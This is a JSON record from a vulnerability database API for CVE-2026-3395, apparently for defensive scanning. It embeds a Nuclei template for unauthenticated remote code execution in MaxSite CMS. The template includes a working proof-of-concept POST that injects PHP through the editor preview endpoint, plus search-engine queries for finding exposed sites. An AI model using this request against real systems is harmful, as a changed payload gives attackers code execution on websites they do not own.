{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-3395/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-3395/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-3395/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-3395/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-3395/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-3395/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-3395"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-3395"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-3395.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-3395\n\ninfo:\n  name: MaxSite CMS <=109.1 - Remote Code Execution\n  author: ritikchaddha\n  severity: high\n  description: |\n    MaxSite CMS through 109.1 allows unauthenticated remote attackers to execute arbitrary code via the MarkItUp editor preview AJAX endpoint, preview-ajax.php. The endpoint insufficiently authenticates the request, failing to ensure the user is logged in, and processes the attacker's input via unsafe usage of PHP eval() on user-supplied [php]...[/php] shortcodes. By providing a POST request to the vulnerable /ajax/ endpoint with crafted input, attackers may achieve remote code execution. The issue is addressed in version 109.2 by implementing proper authentication controls.\n  reference:\n    - https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE\n    - https://github.com/rootdirective-sec/CVE-2026-3395-Lab\n    - https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3\n    - https://vuldb.com/?id.348281\n    - https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/large-scale-exploitation-campaign-targeting-website-content-management-systems-cms\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-3395\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-3395\n    epss-score: 0.04021\n    epss-percentile: 0.90615\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: max-3000\n    product: maxsite_cms\n    shodan-query: \"MaxSite CMS\"\n    fofa-query: \"MaxSite CMS\"\n    publicwww-query: \"MaxSite CMS\"\n  tags: cve,cve2026,rce,maxsite,cms,eval,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"MaxSite CMS\"\n          - \"maxsite_cms\"\n          - \"max-3000.com\"\n          - \"/maxsite/\"\n        case-insensitive: true\n        internal: true\n\n  - raw:\n      - |\n        POST /ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA== HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        data=%5Bphp%5Decho+md5%28%27cve-2026-3395-nuclei%27%29%3B%5B%2Fphp%5D\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"a92788d6874137d1c4c4eaf6b6c0806a\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100efcdaa60131882879ad28ee8b2c64871e3d8efebf1154a8259ac631aaed939e9022100a761b618380fb07d99d4181f590172d0fc640d00bad6402b8d6e4544a5358573:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-3395"
}